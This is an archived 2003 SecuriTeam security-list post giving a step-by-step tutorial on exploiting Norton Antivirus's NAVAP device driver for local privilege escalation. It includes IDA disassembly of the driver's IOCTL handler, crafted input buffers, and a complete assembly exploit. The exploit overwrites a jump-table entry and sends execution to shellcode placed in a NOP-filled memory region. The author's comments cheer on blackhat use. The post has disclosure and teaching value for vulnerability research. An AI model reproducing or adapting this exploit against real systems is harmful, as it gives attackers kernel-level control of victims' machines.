

# [NEWS] Win32 Device Drivers Communication Vulnerabilities – Tutorial

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-08/0006.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 08/04/03

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 4 Aug 2003 20:00:59 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Get Thawte's New Step-by-Step SSL Guide for MSIS

In this guide you will find out how to test, purchase, install and use a Thawte Digital Certificate on your MSIS web server. Throughout, best practices for set-up are highlighted to help you ensure efficient ongoing management of your encryption keys and digital certificates. Get your copy of this new guide now: <http://ad.doubleclick.net/clk;5903126;8265119;j>

-----  
Win32 Device Drivers Communication Vulnerabilities – Tutorial  
-----

## SUMMARY

The following a complete tutorial on how to exploit Norton Antivirus's device driver to gain elevated privileges. The tutorial is comprehensive, and detailed enough to be used to learn on the issue, and how to find these types of vulnerabilities in other products.

## DETAILS

### Background:

What is the Device Driver? Let us paste something from Win32 Developer Reference:

"A Windows device driver is a DLL that Windows uses to interact with a hardware device, such as a display or keyboard. Rather than access devices directly, Windows loads device drivers and calls functions in the drivers to carry out actions on the device. Each device driver exports a set of functions; Windows calls these functions to complete an action, such as

drawing a circle or translating a keyboard scan code.

The driver functions also contain the device-specific code needed to carry out actions on the device."

Note that Device Drivers are different on Windows 9x and NT based systems (In Win95 and WinNT device driver is completely different. In Win98 and Win2k/XP there is new driver model called WDM, Windows Driver Model, if you write any driver for Win98 using WDM, same driver you can run under Win2k/XP too).

Ok so why some software uses Device Drivers?

The answer is simple. Device Drivers are very powerful tools. When you are device driver, you can make everything. Device Driver is running in Kernel (Ring0) mode as a kernel loadable module. In any OS Ring0, application has full privilege. These programs can do any operation including system crash. Example, using kernel module we can intercept all kinds of file operations.

How application is communicating with device driver?

The main function that allows a user to communicate with device drivers is DeviceIoControl API exported by KERNEL32.DLL library, as it is explained in the MSDN:

The DeviceIoControl function sends a control code directly to a specified device driver, causing the corresponding device to perform the specified operation.

```
BOOL DeviceIoControl(
```

```
HANDLE hDevice, // handle to device of interest
DWORD dwIoControlCode, // control code of operation to perform
LPVOID lpInBuffer, // pointer to buffer to supply input data
DWORD nInBufferSize, // size of input buffer
LPVOID lpOutBuffer, // pointer to buffer to receive output data
DWORD nOutBufferSize, // size of output buffer
LPDWORD lpBytesReturned, // pointer to variable to receive output byte
count
LPOVERLAPPED lpOverlapped // pointer to overlapped structure for
asynchronous operation
);
```

How can we attack a Device Driver?

Most of software based device drivers (those that are included within software program) are vulnerable to attack. However, as was explained before the device driver must be "opened" for communication.

This communication is allowed when the device driver creates an I/O object using the IoCreateDevice() function. One of this function's flags specifies whether it requires Exclusive access or not.

If Exclusive (TRUE) access is required, a single application can open a Device and send it commands (No other application will be able to access

this device until the handle is released).

If we take Norton as an example, it has not set itself to Exclusive access, thus allowing more than one application to open its Device and send it commands.

Exploiting Norton Antivirus (NAVAP) – Tutorial:

Here are things you should have:

- Debugger
- Process viewing utility (e.g. Process Explorer)
- Disassembler
- API monitoring utility ( <<http://www.rohitab.com/apimonitor/#Download>>  
<http://www.rohitab.com/apimonitor/#Download>)

1) Run Process Explorer utility (or other). At this stage of the tutorial, the following Symantec processes should be found: Navapvc.exe (service) and Navapw32.exe (client)

Choose the "Scan with Norton..." option, and quickly go to the Process Explorer window, a new Norton process should appear: QServer.exe (service) and Navw32.exe (client)

After a few seconds, the QServer.exe process will terminate.

2) Run the API Monitoring utility, and type CTRL+R (process filter) check the Include Filter option and write a process name "QSERVER" (uppercase). Then click OK and type CTRL+I (API filter), select only Device Input and Output. Finally, click OK and start the API capture, now make a new virus scan.

Now, when QSERVER is executed, the API Monitor will monitor its API calls (device driver related). All we got to do now is look in the API Monitor Window, for DeviceIoControl events.

One of them should be defined with a certain hDevice parameter. Find a CreateFileA() function that returns the same value (it should be before the DeviceIoControl() API call).

Something like this should appear "CreateFileA lpFileName:0x1700FD "\\.\NAVAP", ... "

What does this mean? It means that the QServer process has opened the device (grabbed its handle) and then sent it a signal.

Now we will need to use a Disassembler, in our case IDA. After we have opened IDA, depending on your system open the following file:  
C:\WINNT\system32\drivers\NAVAP.SYS.

We should remember the following things before continuing:

- QServer is communicating with the NAVAP driver
- The DeviceIoControl was executed with the following parameters:

```
...,dwIoControlCode:0x222a87, lpInBuffer:0x12f4e8, nInBufferSize:20,  
lpOutBuffer:0x12f4e0, nOutBufferSize:4, lpBytesReturned:...,  
lpOverlapped:0
```

3) Once the IDA's analysis is complete move the scroll to the start of the file, and type ALT+T (type text) and make a search for 222a87 (The signal code). IDA should find the following:

```
PAGE:00016530 cmp ecx,222a87h
```

Double click on it and turn to IDA View sub-window. You should be now at around the 16530 offset. Use the scroll bar up until you reach the start of the sub-routine.

The following disassembly code will appear (with our added comments):

```
PAGE:000164D3 push esi ; esi to the stack  
PAGE:000164D4 push edi ; edi also  
PAGE:000164D5 mov edi, [esp+arg_0] ; edi the arg_0 pointer  
PAGE:000164D9 test edi, edi ; test it  
PAGE:000164DB jz loc_16597 ; if it is null -> leave  
PAGE:000164E1 mov eax, [edi+4] ; EAX = lpInputBuffer pointer  
PAGE:000164E4 test eax, eax ; if it is null  
PAGE:000164E6 jz loc_16597 ; leave  
PAGE:000164EC cmp dword ptr [edi+8], 20h ; is the nInputBufferSize correct  
(is it 32?)  
PAGE:000164F0 jnz loc_16597 ; it is not? -> leave  
PAGE:000164F6 mov esi, [edi+0Ch] ; ESI = lpOutBuffer pointer  
PAGE:000164F9 test esi, esi ; point to null?  
PAGE:000164FB jz loc_16597 ; leave  
PAGE:00016501 cmp dword ptr [edi+10h], 4 ; nOutBuffer size == 4?  
PAGE:00016505 jnz loc_16597 ; not? -> leave  
PAGE:0001650B cmp dword ptr [edi+14h], 0 ; lpBytesReturned pointer == 0?  
PAGE:0001650F jz loc_16597 ; signal faked -> leave  
PAGE:00016515 cmp dword ptr [eax], 3E3E5352h ; are first 4 bytes from  
lpInBuffer  
PAGE:0001651B jnz short loc_16597 ;3E3E5352? – nope -> signal faked ->  
leave  
PAGE:0001651D cmp dword ptr [eax+1Ch], 3C3C5352h ; are 4 bytes at  
lpInBuffer+1ch  
PAGE:00016524 jnz short loc_16597 ;3C3C5352h? – nope then leave  
PAGE:00016526 mov ecx, [edi] ; ECX=signal code  
PAGE:00016528 cmp ecx, 222A83h ; is it 222A83 (another NAVAP signal)  
PAGE:0001652E jz short loc_1655A ; if yes jump to ...  
PAGE:00016530 cmp ecx, 222A87h ; is it 222A87 (our signal)  
PAGE:00016536 jz short loc_16562 ; we will look at this offset later  
PAGE:00016538 cmp ecx, 222A8Bh ; is it 222A8B  
PAGE:0001653E jz short loc_1656A ; if so jump to ...  
PAGE:00016540 cmp ecx, 222A8Fh ; ...  
PAGE:00016546 jz short loc_16571 ; ...  
PAGE:00016548 cmp ecx, 222A93h ; ...  
PAGE:0001654E jz short loc_16578 ; ...  
PAGE:00016550 cmp ecx, 222A97h ; ...
```

## Securiteam: [NEWS] Win32 Device Drivers Communication Vulnerabilities – Tutorial

```
PAGE:00016556 jz short loc_1657F ; ...  
PAGE:00016558 jmp short loc_16597 ; if other jump to loc_16597
```

Notice the part PAGE:00016530 cmp ecx, 222A87h, once the device driver exposes a Device name to outside world for communication (here NAVAP), it has to register a Callback function to handle DeviceIoControl() call's.

The above code is that Callback function, which is responsible of handling a set of signals from Norton Antivirus application.

Well we can now build a sample DeviceIoControl call:

```
push 0 ; lpOverlapped  
push offset lpBytesReturned ; this can't be NULL (look at PAGE:0001650B)  
push 4 ; nOutBuffer must be 4 (look at PAGE:00016501)  
push offset lpOutBuffer ; can't be NULL (look at PAGE:000164F6)  
push 20h ; nInputBufferSize must be 32 (dec) (l.a PAGE:000164EC)  
push offset lpInBuffer ; lpInBuffer can't be NULL (look at PAGE:000164F6)  
push 222A87h ; our signal  
push dword ptr [NAVAP_HANDLE] ; handle to NAVAP device  
call DeviceIoControl  
..
```

Where lpInbuffer should look like:

```
lpInBuffer:  
dd 03E3E5352h ; can't be other (data/control code?) (look at  
PAGE:00016515)  
dd (1ch-($-offset lpInBuffer))/4 dup (1) ; unknown data for now but  
required  
dd 03C3C5352h ; can't be other (data/control code?) (look at  
PAGE:0001651D)
```

If you send such communicate request, you should see a Norton Antivirus pagefault.

Why this happened? If we look inside loc\_16562 (double click on it at PAGE:00016536):

```
loc_1659E:  
call to InterlockedIncrement (twice)  
call ds:dword_35AA4 (to sub_30969) <--- We were looking for this
```

Now we should jump to sub\_30969, here it comes:

```
PAGE:00030969 sub_30969 proc near ; CODE XREF: odbierz_signal+76 p  
PAGE:00030969 ; odbierz_signal+A6 p  
PAGE:00030969 ; DATA XREF: ...  
PAGE:00030969  
PAGE:00030969 do_case = dword ptr 8  
PAGE:00030969 unknown_1 = dword ptr 0Ch  
PAGE:00030969 unknown_2 = dword ptr 10h  
PAGE:00030969 unknown_3 = dword ptr 14h
```

```
PAGE:00030969 arg_10 = dword ptr 18h
PAGE:00030969 arg_14 = dword ptr 1Ch
PAGE:00030969
PAGE:00030969 push ebp ; save ebp
PAGE:0003096A xor eax, eax ; eax = 0
PAGE:0003096C mov ebp, esp ; ebp=esp
PAGE:0003096E push ebx ; ebx to the stack
PAGE:0003096F push esi ; esi also
PAGE:00030970 push edi ; edi the same
PAGE:00030971 mov edx, [ebp+arg_14] ; is arg_14 == 0?
PAGE:00030974 test edx, edx ; test it
PAGE:00030976 jz short loc_3097A ; it is -> leave
PAGE:00030978
PAGE:00030978 fault:
PAGE:00030978 mov [edx], eax ; write EAX=0 to EDX (the pointer)
```

As I said before, if you send the above signal the driver will fault, let us explain why ... lets start with rebuilding lpInBuffer:

```
lpInBuffer:
dd 03E3E5352h ; can't be other (look at PAGE:00016515)
dd case_state ; the case_state (look at PAGE:00030969)
dd unknown_1 ; unknown for now (look at PAGE:00030969)
dd unknown_2 ; unknown for now (look at PAGE:00030969)
dd unknown_3 ; -//- (look at PAGE:00030969)
dd arg_10 ; unknown for now (look at PAGE:00030969)
dd arg_14 ; check few lines down
dd 03C3C5352h ; can't be other (look at PAGE:0001651D)
```

Let us analyze why did it faulted:

```
PAGE:00030971 mov edx, [ebp+arg_14] ; EDX = 1
PAGE:00030974 test edx, edx ; test it
PAGE:00030976 jz short loc_3097A ; it is not NULL continue
PAGE:00030978
PAGE:00030978 fault:
PAGE:00030978 mov [edx], eax ; write EAX (NULL) to offset 1
```

As you can see the driver tried to put 4 NULL bytes to offset given by arg\_14, writing to offset 1 caused an access violation.

Therefore, to exploit the driver we must find a way to "jump to our code".

Spending a few minutes analyzing, you should find something like:

```
PAGE:00030AA8 mov [edx], ebx ; EBX = 32h
```

This writes 32h to our arg\_14 pointer – you are probably wondering why we can use this to our advantage, if you look at the following example:

```
mov ebx,32h ; EBX = 32h (like in our driver code)
push esp ; esp to stack
pop edx ; edx = esp
add edx,2 ; edx=esp+2
```

```
push offset return_here ; put return address on stack
mov [edx],ebx ; put 32h to edx (so esp+2)
ret ; returned to 0032100F ...
return_here:
```

As you can see we can overwrite driver's return address to 0032100F, and since the memory at location 0032100F can be allocated, we can place our shellcode there and get it executed.

However, we cannot just hardcode the EDX address, as the stack will continuously change. We will need to find another way to do this.

Therefore, the `mov [edx],ebx` (`EBX=32h`) appears to be the only good option, all we need now is to find an address which can be overwritten and where the driver can jump to.

```
Returning to disassembly (the things after PAGE:00030978):
PAGE:0003097A loc_3097A: ; CODE XREF: sub_30969+D j
PAGE:0003097A mov eax, [ebp+case_state] ; from our lpInBuffer
PAGE:0003097D dec eax ; dec do_case
PAGE:0003097E cmp eax, 0Ah ; switch 11 cases
PAGE:00030981 ja loc_30B0B ; default
PAGE:00030987 jmp ds:off_30B12[eax*4] ; switch jump
```

We have found a switch–case instruction code. Let us see if it can help us, we need to first find out what is `off_30B12`.

Let us see:

```
PAGE:00030B12 off_30B12 dd offset loc_3098E ; DATA XREF: sub_30969+1E r
PAGE:00030B12 dd offset loc_309BD ; jump table for switch statement
PAGE:00030B12 dd offset loc_309DE
PAGE:00030B12 dd offset loc_309E8
PAGE:00030B12 dd offset loc_309F2
PAGE:00030B12 dd offset loc_30A21
PAGE:00030B12 dd offset loc_30A50
PAGE:00030B12 dd offset loc_30A7F
PAGE:00030B12 dd offset loc_30AC1
PAGE:00030B12 dd offset loc_30AE1
PAGE:00030B12 dd offset loc_30B01
```

This is exactly what we were looking for, if we overwrite for example first offset, and then send the signal with `case_state = 1` the program will jump to code we have written.

Therefore, to successfully exploit the vulnerability we need to:

First, send a signal with `arg_14` pointing to the first jump table (in the switch–case instruction).

Let us check where was `mov [edx],ebx` (`ebx=32h`) executed:

```
PAGE:00030A7F loc_30A7F: ; CODE XREF: sub_30969+1E j
PAGE:00030A7F ; DATA XREF: PAGE:00030B12 (CASE 0x7)
```

```
PAGE:00030A7F mov esi, [ebp+unknown_3] ; unknown_3 == 0
PAGE:00030A82 test esi, esi ; test
PAGE:00030A84 jz loc_30B0B ; leave without mov [edx],ebx execution
PAGE:00030A8A mov ebx, 32h ; ebx = 32h
PAGE:00030A8F cmp [ebp+arg_10], ebx ; arg_10 == 32h?
PAGE:00030A92 jb short loc_30B0B ; below -> leave
PAGE:00030A94 test edx, edx ; EDX=our pointer to write
PAGE:00030A96 jz short loc_30B0B ; faked -> leave
PAGE:00030A98 mov edi, esi ; EDX=ESI
PAGE:00030A9A xor eax, eax ; EAX=0
PAGE:00030A9C mov ecx, 0Ch ; ECX=0Ch times
PAGE:00030AA1 repe stosd ; stos the dwords ECX times
PAGE:00030AA3 stosw ; stos one word
PAGE:00030AA5 mov [esi+4], ebx ; stos 32 at esi+4
PAGE:00030AA8 mov [edx], ebx ; write 32h on our address
```

It will be much clearer if we will define new lpInBuffer:

lpInBuffer:

```
dd 03E3E5352h ; can't be other (look at PAGE:00016515)
dd 07h+1 ; case 0x7 (+1 beacouse of DEC EAX l.at PAGE:0003097D)
dd unknown_1 ; unknown for now (look at PAGE:00030969)
dd unknown_2 ; unknown for now (look at PAGE:00030969)
dd some_offset ; can't be null (look at PAGE:00030A7F)
dd 32h ; it must be set to 32h (look at PAGE:00030A8A)
dd first_switch_address ; adress to overwrite with 0 then 32h (l.a
PAGE:00030AA8)
dd 03C3C5352h ; can't be other (look at PAGE:0001651D)
```

After the first signal with the lpInBuffer we have defined (above) is sent, we must then send another to cause it to jump to the first switch address. You should remember that lpInBuffer must be allocated at the memory made by mov [edx],ebx.

The lpInBuffer for the second "attack" can be almost the same, and the case\_state (07h+1) must be changed to 0+1.

The only bad point is that the device driver appears to load at a different memory every restart, therefore in the current exploit you must rewrite the MAP\_ADDRESS definition by the address where the device is loaded.

NAVAP Exploit Code:

```
;------[NAVAP_EXPLOIT.ASM]-----
; NAVAP (Norton Antivirus Device Driver Exploit)
; powered by Lord YuP / Sec-Labs ^ Tkt
; email: yup@tlen.pl

;compile with:
;tasm32 /m1 /m3 /mx NAVAP_EXPLOIT,.;
;link32 -Tpe -aa NAVAP_EXPLOIT,NAVAP_EXPLOIT,import32.lib,;
;PEWRSEC.COM NAVAP_EXPLOIT.exe
```

## Securiteam: [NEWS] Win32 Device Drivers Communication Vulnerabilities – Tutorial

```
include my_macro.inc ;this can be found in zipped archive
include WIN32API.INC ;see the end of paper
```

```
;WARNING THIS VALUE MUST BE CHANGED!!!! TRY TO USE DeviceTree utility
(from OSR)
```

```
;to obtain the *Device Loaded Address* !!!!
```

```
;or make your own obtainer using SETUPAPI functions!!!
```

```
MAP_BASE equ 0bbf30000h ;0bbef4000h
```

```
;calculate the address for the shellcode
```

```
mov eax,MAP_BASE
```

```
add eax,3098eh ;first case–if offset without base addr
```

```
mov dword ptr [my_address],eax ;fill the variable
```

```
mov dword ptr [my_address+2],0 ;like NAVAP does X–D
```

```
mov dword ptr [my_address+2],32h ;guess what ;)
```

```
push 0
```

```
push 80h
```

```
push 3
```

```
push 0
```

```
push 0
```

```
push 0
```

```
@pushsz "\\.\NAVAP" ;open the device
```

```
@callx CreateFileA ;yeah – open it!
```

```
mov ebx,eax ;EBX=DEVICE HANDLE
```

```
cmp eax,-1 ;error ;/
```

```
jne _x00 ;if not jump to _x00 label
```

```
@debug SPLOIT_TITLE,"Cannot open device ;/","IERROR
```

```
jmp exit
```

```
_x00:
```

```
push 0 ;overlapped = 0
```

```
push offset byte_ret ;bytes returned
```

```
push 4h ;navap requires 4 bytes ;)
```

```
push offset outer ;output buffor
```

```
push 20h ;if else our signal will be ignored
```

```
push offset my_buffer ;input buffer (symantec style)
```

```
push 222a87h ;secret code X–D
```

```
push ebx ;EBX=HANDLE
```

```
@callx DeviceIoControl ;send first signal
```

```
test eax,eax ;cannot send it ;/ – damn
```

```
jnz _x01 ;if correct jump to _x01
```

```
@debug SPLOIT_TITLE,"Cannot send 1st SIGNAL! ;/","IERROR
```

```
jmp exit
```

```
_x01:
```

```
push PAGE_EXECUTE_READWRITE ;page for execute/read/write
```

## Securiteam: [NEWS] Win32 Device Drivers Communication Vulnerabilities – Tutorial

```
push MEM_COMMIT ;commit
push shellcode_size+100+(1000h+10h) ;size X-D hehe
push dword ptr [my_address] ;specyfic address
@callx VirtualAlloc ;alloc it!
mov dword ptr [mem_handle],eax ;store to variable

test eax,eax ;error?
jnz _xO ;if not jump to _xO

@debug SPLOIT_TITLE,"Cannot alloc memory! ;/","IERROR
jmp exit

_xO:
mov edi,eax ;EDI=MEMORY HANDLE
push edi ;store EDI
add eax,shellcode_size+10 ;after shellcode
mov dword ptr [wpisz_tutaj],eax ;store for later

xor eax,eax ;EAX=0
mov ecx,shellcode_size+100 ;ECX=SHELLCODE SIZE + 100 bytes
rep stosb ;fill up with NULL's
pop edi ;load EDI (now EDI memory handle)

lea esi,my_buffer2 ;ESI=POINTER TO SECOND BUFFER
mov ecx,my_buffer2_size ;ECX=SECOND BUFFER SIZE
rep movsb ;write it!!!

mov al,90h ;AL=90H=NOP
mov ecx,1000h+10h ;ECX=1010h bytes
rep stosb ;FILL THE MEMORY WITH NOPS

lea esi,shellcode ;ESI=POINTER TO REAL SHELLCODE
add esi,my_buffer2_size ;(WITHOUT MY_BUFFER2 DATA)
mov ecx,shellcode_size-my_buffer2_size ;ECX=REAL SHELLCODE SIZE
rep movsb ;store it!

mov eax,dword ptr [mem_handle] ;EAX=MEMORY HANDLE
add eax,shellcode_size+10 ;calculate pointer for bytes_returned

push 0
push eax ;bytes returned
push 4h ;look up for comments! X-D
push eax
push 20h
push dword ptr [mem_handle]
push 222a87h
push ebx
@callx DeviceIoControl ;send second signal and execute the jump X-D
test eax,eax ;error
jnz _x02 ;nope conitnue work at _x02 label
```

## Securiteam: [NEWS] Win32 Device Drivers Communication Vulnerabilities – Tutorial

```
@debug SPLOIT_TITLE,"Cannot send 2nd SIGNAL! ;/";IERROR  
jmp exit
```

```
_x02:  
push MEM_RELEASE ;memory will be released  
push shellcode_size+100+(1000h+10h) ;memory size  
push dword ptr [mem_handle] ;memory handle  
@callx VirtualFree ;de-allocate it
```

```
exit: push 0 ;say good bye ;)  
@callx ExitProcess
```

```
byte_ret dd 0
```

```
OVERWRITE_IT equ MAP_BASE+20b12h+2 ;address to overwrite  
SAFE_EXIT equ MAP_BASE+20B0Bh ;do not fault ;];
```

```
my_buffer:  
dd 03E3E5352h ;some MARKER by symantec  
dd 07h+1 ;case if  
dd "nie1" ;doesn't metter in this case  
dd "nie2" ;--/--  
dd offset nie3 ;device must store sth (avoid fault)  
dd 32h ;must be 32h!!! (read the white-paper)  
dd OVERWRITE_IT ;address we want to overwrite (EDX)  
dd 03C3C5352h ;the same as the first one  
my_buffer_size=$-offset my_buffer
```

```
shellcode:  
my_buffer2:  
dd 03E3E5352h  
dd 0h+1 ;case if  
dd "nie1" ;rest the same X-D  
dd "nie2"  
dd offset nie3  
dd 32h  
wpsz_tutaj dd 0  
dd 03C3C5352h  
my_buffer2_size=$-offset my_buffer  
db 100 dup (90h)
```

```
-----  
;here the sample shellcode starts:  
;  
;If u want write a shellcode do it yourself, avoiding from  
ex-ploit-k1dd13z  
;blackhat for ever man ;]  
;btw. remeber that IT IS A: *D - R - I - V - E - R *  
;heh  
-----
```

## Securiteam: [NEWS] Win32 Device Drivers Communication Vulnerabilities – Tutorial

```
pushad
@delta2reg ebp

popad
mov edx,SAFE_EXIT
jmp edx

shellcode_size=$-offset shellcode

;the rest of variables

mem_handle dd 0
my_address dd 0
temp_erufka dd 0
nie3 db "just an temp ... "
outer db 100 dup (0)

end start
```

;-----[NAVAP\_EXPLOIT.ASM]-----

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:yup@tlen.pl>> Lord YuP

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.